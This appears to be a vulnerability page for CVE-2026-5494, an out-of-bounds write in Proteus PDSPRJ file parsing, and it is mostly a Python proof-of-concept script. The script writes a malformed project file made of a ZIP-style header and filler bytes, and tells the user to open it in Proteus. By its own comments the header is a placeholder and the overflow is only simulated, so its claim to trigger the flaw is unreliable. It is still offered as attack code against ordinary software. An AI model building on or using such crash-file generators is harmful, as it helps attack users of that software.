CVE-2026-5494: Proteus PDSPRJ文件解析越界写入漏洞

# Proof of Concept for CVE-2026-5494 # This script generates a malformed PDSPRJ file to trigger the OOB Write. import struct def create_malicious_pdsprj(filename): # PDSPRJ file header placeholder (actual header structure may vary) header = b'PK\x03\x04' + b'\x00' * 10 # Malicious payload designed to trigger the Out-Of-Bounds Write # The specific offset and size depend on the vulnerable buffer allocation # Here we simulate a buffer overflow with a cyclic pattern junk = b'A' * 100 # Padding to reach the vulnerable buffer # Overwrite adjacent memory (simulated) # In a real exploit, this would contain return addresses or shellcode overflow_payload = b'\x00' * 8 # Potential corruption of metadata payload = junk + overflow_payload + b'C' * 50 with open(filename, 'wb') as f: f.write(header + payload) print(f"[+] Malicious file '{filename}' generated successfully.") print(f"[+] Open this file in Proteus to trigger the vulnerability.") if __name__ == "__main__": create_malicious_pdsprj("exploit_CVE-2026-5494.pdsprj")